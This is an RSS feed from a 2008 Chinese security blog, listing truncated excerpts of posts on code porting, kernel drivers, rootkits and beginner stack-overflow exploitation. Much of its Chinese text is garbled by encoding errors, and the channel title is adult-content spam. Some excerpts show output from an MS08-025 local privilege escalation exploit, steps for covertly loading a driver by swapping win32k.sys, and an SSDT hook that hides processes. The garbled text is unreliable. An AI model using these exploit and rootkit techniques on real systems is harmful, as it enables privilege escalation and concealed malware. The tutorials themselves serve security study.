�??xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>&#19968;&#32423;&#35270;&#39057;&#22312;&#32447;&#35266;&#30475;&#35270;&#39057;&#22312;&#32447;&#21862;&#21862;&#44;&#26085;&#38889;&#21320;&#22812;&#35270;&#39057;&#22312;&#32447;&#44;&#22269;&#20135;&#19968;&#21306;&#20108;&#21306;&#19977;&#21306;&#26085;&#38889;</title><link>http://www.aygfsteel.com/baicker/category/17621.html</link><description /><language>zh-cn</language><lastBuildDate>Fri, 09 May 2008 08:00:44 GMT</lastBuildDate><pubDate>Fri, 09 May 2008 08:00:44 GMT</pubDate><ttl>60</ttl><item><title>改了(ji��n)个linux下的c代码为windows版本</title><link>http://www.aygfsteel.com/baicker/archive/2008/05/09/199502.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Fri, 09 May 2008 06:51:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2008/05/09/199502.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/199502.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2008/05/09/199502.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/199502.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/199502.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 
<br>Windows的C++没有pthread_t�c�d���Q�linux中有个pthread.h�Q�很多站的VC代码�Q�都不知道从哪包含来的，shit
<br>�|�上看到有一个叫 POSIX Threads for Win32 的开源项目给��Z��(ji��n)一个功能比较完善的Windows下pthreads API的实现�?<br>
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2008/05/09/199502.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/199502.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2008-05-09 14:51 <a href="http://www.aygfsteel.com/baicker/archive/2008/05/09/199502.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>���Win32 C/C++应用�E�序�q�移到Linux-�q�程、线�E�和�׃�n内存�Q�ZT�Q?/title><link>http://www.aygfsteel.com/baicker/archive/2008/05/09/199491.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Fri, 09 May 2008 06:33:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2008/05/09/199491.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/199491.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2008/05/09/199491.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/199491.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/199491.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 
<br>本文的内�Ҏ(gu��)�� Win32 API�Q�特别是�q�程、线�E�和�׃�n内存服务�Q�到 POWER �?Linux 的映���。本文可以帮助�?zh��n)����定哪种映射服务最适合�(zh��n)�的需要。作者向�(zh��n)�详�l�介�l�了(ji��n)他在�U�L�� Win32 C/C++ 应用�E�序旉���到的 API 映射�?<br>
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2008/05/09/199491.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/199491.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2008-05-09 14:33 <a href="http://www.aygfsteel.com/baicker/archive/2008/05/09/199491.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MS08-025 for win2k &amp; win2k3</title><link>http://www.aygfsteel.com/baicker/archive/2008/04/17/193889.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Thu, 17 Apr 2008 15:43:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2008/04/17/193889.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/193889.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2008/04/17/193889.html#Feedback</comments><slash:comments>6</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/193889.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/193889.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Win2k CN SP2 �Q�W(xu��)in2k3 CN SP1下测试通过�Q�其它未���试(不装XP那种垃圾)
<br>D:\>ms08025 whoami
<br>
<br>        MS08-025 Windows Local Privilege Escalation Vulnerability Exploit
<br>        By 009, baicker@hotmail.com
<br>        TEST OS: WINDOWS 2k SP2 & WINDOWS 2k3 CN SP1
<br>
<br>Kernel is \WINNT\System32\ntoskrnl.exe
<br>Get KernelBase Success, ntoskrnl.exe base = 80400000
<br>Mapping ntoskrnl.exe ... ok
<br>KeServiceDescriptorTable = 008ED280
<br>Find KiServiceTable ... Get ZwVdmControl Number ... ok!
<br>ZwVdmCo&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2008/04/17/193889.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/193889.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2008-04-17 23:43 <a href="http://www.aygfsteel.com/baicker/archive/2008/04/17/193889.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用C++修改本地安全�{�略</title><link>http://www.aygfsteel.com/baicker/archive/2008/01/30/178511.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Wed, 30 Jan 2008 05:30:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2008/01/30/178511.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/178511.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2008/01/30/178511.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/178511.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/178511.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 要写个修�Ҏ(gu��)��地安全策略的工具�Q�本以�ؓ(f��)修改注册表就行了(ji��n)�Q�没惛_���q�挺复杂�Q�改�{�略�Q�对应的注册表项�?x��)变�Q�倒过来，改对应的注册表项�Q�策略没变，郁闷
<br>[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account]        |--------------------------------修改�ơ数
<br>"F"=hex:02,00,01,00,00,00,00,00,e0,7c,9e,21,1a,12,c6,01,43,00,00,00,00,00,00,\        00 ~ 22
<br>  00,00,80,d2,16,47,b9,ff,ff,00,80,2c,ab,6d,fe,ff,ff,00,00,00,00,00,00,00,80,\        23 ~ 47
<br>  00,cc,1d,cf,fb,ff,ff,ff,00,cc,1d,cf,fb,ff,ff,ff,00,00,00,00,00,00,00,00,f1,\        48 ~ 72
<br>  03,00,00,00,00,00,00,02,00,18,00,00,&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2008/01/30/178511.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/178511.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2008-01-30 13:30 <a href="http://www.aygfsteel.com/baicker/archive/2008/01/30/178511.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>新手�~�译驱动</title><link>http://www.aygfsteel.com/baicker/archive/2008/01/08/173671.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Tue, 08 Jan 2008 08:20:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2008/01/08/173671.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/173671.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2008/01/08/173671.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/173671.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/173671.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: �|�上找了(ji��n)N多资�?说得我晕头�{向的,都是TMD资深���N���U�别的文�?最后简单几步也可以搞定,�q�程如下:
<br>
<br>我的SDK本来���是装好�?再装个DDK,���是重装�pȝ��,只要DDK目录�q�在,重新指定下即�?不用重装DDK
<br>DDK目录�? f:\WINDDK\3790.1830
<br>
<br>以下以HelloWorld��Z��
<br>-----------------------------------------HelloWorld.h---------------------------------------------------
<br>#ifndef __HELLOWORLD_H__
<br>#define __HELLOWORLD_H__
<br>#include <ntddk.h>
<br>.................
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2008/01/08/173671.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/173671.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2008-01-08 16:20 <a href="http://www.aygfsteel.com/baicker/archive/2008/01/08/173671.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>���单认识Anti-RootKit(ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/29/171547.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Sat, 29 Dec 2007 07:09:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/29/171547.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171547.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/29/171547.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171547.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171547.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 现在RK�Q�rootkit�Q�和ARK(anti- rootkit)的斗争已�l�进行了(ji��n)很久�Q�在印象中最早出来的ARK工具是冰�?IceSword)�Q�从冰刃开始出来到现在RK和ARK的斗争一直在�l�箋�Q�目前冰刃还是在���行当中�Q�自己感觉也正是冰刃的出来才带动�?ji��n)当前流行的RK和ARK的斗争呵呵，现在很多病毒木马已经�q�泛的带有驱�?使用一些RK的技术和�Ҏ(gu��)��使自己更底层些更强大些，当前���行的ARK工具主要包括�Q�隐藏进�E�检���，内核驱动���(g��)���，SSDT���(g��)���，代码HOOK���(g��)���，注册表隐藏的���(g��)���，隐藏文�g的检���等一些功能的�Q�下面谈谈自己对一些功能的���单愚�?��d���?<br>..........
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/29/171547.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171547.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-29 15:09 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/29/171547.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>无�ȝ��驱动加蝲�?ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/29/171537.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Sat, 29 Dec 2007 06:59:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/29/171537.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171537.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/29/171537.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171537.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171537.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: �Ҏ(gu��)��一�Q?替换win32k.sys
<br>�?k3的系�l�下ZwSetSystemInformation���止�?ji��n)用��h��式下加蝲驱动�Q�只允许SMSS.exe加蝲win32k.sys。于是我们可以利用一下这个特点：(x��)
<br>1. 注入SMSS.EXE
<br>2. 打开SeLoadDriverPrivilege权限
<br>3. 把原始的win32k.sys改名
<br>4. 复制我们的驱动到\systemroot\system32�?<br>5. 在SMSS.EXE中加载\\SystemRoot\\System32\\win32k.sys
<br>6. 把\\SystemRoot\\System32\\win32k.sys改名
<br>7. 把原始的win32k.sys文�g改名改回�?<br>..............
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/29/171537.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171537.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-29 14:59 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/29/171537.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>实例解析蠕虫病毒的原�?ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/28/171227.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Fri, 28 Dec 2007 07:44:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/28/171227.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171227.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/28/171227.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171227.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171227.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 　　一、蠕虫病毒具有自我复制能�?<br>
<br>　　我们以普通的VB脚本��Z��来看看：(x��) 
<br>JavaScript代码
<br>
<br>   1. Set objFs=CreateObject ("Scripting.FileSystemObject")    
<br>   2. '创徏一个文件系�l�对�?  
<br>   3. objFs.CreateTextFile ("C:\virus.txt", 1)   
<br>   4. '通过文�g�pȝ��对象的方法创��Z��(ji��n)一个TXT文�g�?  
<br>.....................
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/28/171227.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171227.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-28 15:44 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/28/171227.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软�g漏洞分析入门[初��shellcode_定位�~�冲区](ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/28/171225.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Fri, 28 Dec 2007 07:41:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/28/171225.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171225.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/28/171225.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171225.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171225.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 跟脓(chu��ng)中看到已�l�有不少朋友成功的完成了(ji��n)前面的所有例题，今天我们在前面的基础上，�l�箋深入。每一讲我都会(x��)引入一些新的知识和技术，但只有一点点�Q�因为我希望在�?zh��n)���d��贴之后就能立��L��化吸�Ӟ���q�是标准的��@序渐�q�的案例式学�?f��n)方�?<br> 
<br>另外在今天开始之前，我顺便说一下后面的教学计划�Q?<br> 
<br>我会(x��)再用3�?�ơ的讲��来阐�q�shellcode技术，���保大家能够在比较简单的漏洞场景下实现通用、稳定的溢出利用�E�序�Q�exploit�Q?<br>..........
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/28/171225.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171225.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-28 15:41 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/28/171225.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软�g漏洞分析入门[初��栈溢出D_植入��L��代码](ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/28/171222.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Fri, 28 Dec 2007 07:40:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/28/171222.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171222.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/28/171222.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171222.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171222.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 麻雀虽小�Q�五脏俱�?<br>
<br>如果�(zh��n)�顺利的学完�?ji��n)前�?讲的内容�Q��ƈ成功的完成了(ji��n)�W?讲和�W?讲中的实验，那么今天误���我来一��h��战一下劫持有漏洞的进�E�，�q�向其植入恶意代码的实验�Q�相信�?zh��n)�成功完成�q�个实验后，学习(f��n)的兴���和自信�?j��)都会(x��)暴增�?<br>
<br>开始之前，先简要的回答一下前几讲跟脓(chu��ng)中提出的问题
<br>
<br>代码�~�译���头文�g问题�Q�可能是个�h�?f��n)惯问题�Q�哪怕几行长的程序我也会(x��)丢到project里去build�Q�而不是用cl�Q�所以没有注意细节。如果你们嫌�ȝ��(ch��)�Q�不如和我一��L(f��ng)��project来build�Q�应该没有问题的。否则的话，实验用的�E�序实在太简单了(ji��n)�Q�这么一点小问题自己决绝吧。另外，看到几个同学说�ؓ(f��)�?ji��n)实验，专门恢复了(ji��n)古老的VC6.0�Q�我也感动不已啊�Q�呵��c(di��n)�?<br>...............
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/28/171222.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171222.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-28 15:40 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/28/171222.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软�g漏洞分析入门[初��栈溢出C_修改�E�序���程](ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/28/171221.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Fri, 28 Dec 2007 07:39:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/28/171221.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171221.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/28/171221.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171221.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171221.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 上节课没有操�l�滴东西�Q�不���蠢蠢欲动的同学肯定已经坐不住了(ji��n)。�?zh��n)��I�，不要猴急，下面的两堂课都是实践课，用来在实践中深入体会(x��)上节课中的知识，�q�且很有���味性哦
<br>
<br>  信息安全技术是一个对技术性要求极高的领域�Q�除�?ji��n)扎实的计算机理论基���外、更重要的是优秀的动手实践能力。在我看来，不懂二进制就无从谈�v安全技术�?<br>
<br>  �~�冲区溢出的概念我若�q�年前已�l�了(ji��n)然于胸，不就是��个返回地址把CPU指到�~�冲区的shellcode��M��。然而当我开始动手实�늚�时候，才发现实际中的情况远�q�比原理复杂�?<br>................
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/28/171221.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171221.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-28 15:39 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/28/171221.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软�g漏洞分析入门[初��栈溢出B_�pȝ��栈原理](ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/28/171217.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Fri, 28 Dec 2007 07:34:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/28/171217.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171217.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/28/171217.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171217.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171217.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 扫盲班第三讲开译֕��Q?<br>上节课我们用���过数组边界的一个字节把��L��的标志变量修�Ҏ(gu��)��0�Q�从而突破了(ji��n)密码验证�E�序。�?zh��n)�实验成功了(ji��n)吗�Q�没有的话回��d��完实验在来听今天的课�Q?<br>
<br>有几个同学反映编译器的问题，我还是徏议用VC6.0�Q�因为它build出来的PE最适合初学者领�?x��)概��c(di��n)��而且�q�门译֊�手很重要�Q�基本上我的实验指导都是按VC6.0来写的，用别的build出来要是有点出入�Q�实验不成功的话�?x��)损失学习(f��n)积极性滴——实验获得的成就感是学习(f��n)最好的动力�?<br>............
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/28/171217.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171217.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-28 15:34 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/28/171217.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软�g漏洞分析入门[初��栈溢出A_初识数组���界](ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/28/171215.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Fri, 28 Dec 2007 07:33:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/28/171215.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171215.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/28/171215.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171215.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171215.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 本想来点大道理申明下研究思�\啥的�Q�看到大家的热情期待�Q�稍微调整一下讲评�����序。从今天开始，���用3�?�ơ给大家做一下栈溢出的扫盌Ӏ?<br>
<br>栈溢出的文章�|�上�q�是有不���的�Q�其实优�U�的也��׃��三篇�Q�，原理也不难，读过基本上就能够明白是怎么回事。本�ơ讲解将主要集中在动手调试方面，更加着重实��c(di��n)�?<br>
<br>�l�过�q?�?�ơ的栈溢出扫�Ԍ��我们的目标是�Q?<br>
<br>领会(x��)栈溢出攻�ȝ��基本原理
<br>能够动手调试���易的栈溢出漏�z�程序，�q�能够利用漏�z�执行�Q意代码（最���易的shellcode�Q?<br>.............
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/28/171215.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171215.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-28 15:33 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/28/171215.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软�g漏洞分析入门[引子](ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/28/171213.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Fri, 28 Dec 2007 07:32:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/28/171213.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171213.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/28/171213.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171213.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171213.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: �(zh��n)�是否梦惌���能够像电(sh��)�׃��演的那样黑进��L��一台机器远�E�操控？�(zh��n)�的梦想是否曄���被书店里�Ҏ(gu��)��架子的反黑，防毒�Q�擒木马的扫盲书强暴的体无完肤？
<br> 
<br>从今天开始，准备陆箋发一�p�d��关于软�g漏洞斚w��基础知识的帖子，包括软�g漏洞的研�I��h(hu��n)��|��研究�Ҏ(gu��)���Q�堆栈利用的基础知识�Q�shellcode的调试方法，漏洞调试�Ҏ(gu��)���Q�漏�z�分析，漏洞挖掘�Q���Y件安全性测试等�{�，此外�q�将介绍一些metasploit架构和fuzz���试斚w��的入门知识�?<br> 
<br>软�g漏洞分析�Q�利用，发掘是当今安全技术界中流砥柱�U�别话题�Q�如果�?zh��n)���x���q�black hat或者defcon之类的顶�U�安全技术峰�?x��)的话，���q��道我不是在吹牛了(ji��n)。可惜的是这斚w��的中文资料很���，偶尔有一���比较优�U�的文章但又不够系�l�，目前为止也没有�Ş成像破解技术这��L(f��ng)��讨论风气�Q�菜鸟们在黑灯瞎火的夜晚瞎折腾，没有交流和指��|��兴趣���像被拔�?ji��n)气弥儿芯的车胎�Q�很快就泄气�?ji��n)�?<br> 
<br>虽然漏洞分析与利用与破解在技术上各有侧重点，但逆向基础是共同的。以我个人的�l�验�Q�能做crack的朋友只要稍加进修就能入门。就���没有�Q何汇�~�基���和逆向�l�验的朋友也不用担心(j��)�Q�因�����&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/28/171213.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171213.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-28 15:32 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/28/171213.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>�?Hook 内核ntoskrnl'sZwQuerySystemInformation隐藏��d�����理器进�E�名 的一点完�?ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/27/171009.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Thu, 27 Dec 2007 14:12:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/27/171009.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171009.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/27/171009.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171009.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171009.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 通过hook ssdt中的ZwQuerySystemInformation来实现隐藏进�E�已�l�是很老的技术了(ji��n)�?<br>qiweixue 在他的文章里面写的很清楚�?
<br>http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B
<br>
<br>不过他的文章里面�Q�进�E�名字是直接写死的，不能通过三层�q�行传递，而且得到ZwQuerySystemInformation是通过汇编的方法，�q�样在其他系�l�上可能�?x��)有问题�Q�所以我做了(ji��n)一些改善如下：(x��)
<br>1 通过应用�E�序���进�E�名字传递进来，可以传递多个进�E�名字，格式为：(x��)qq.exe;taskmgr.exe;
<br>2 通用的方法来得到ZwQuerySystemInformation的地址�Q�不�q�这个方法都是从rookit上得来的�?<br>...........
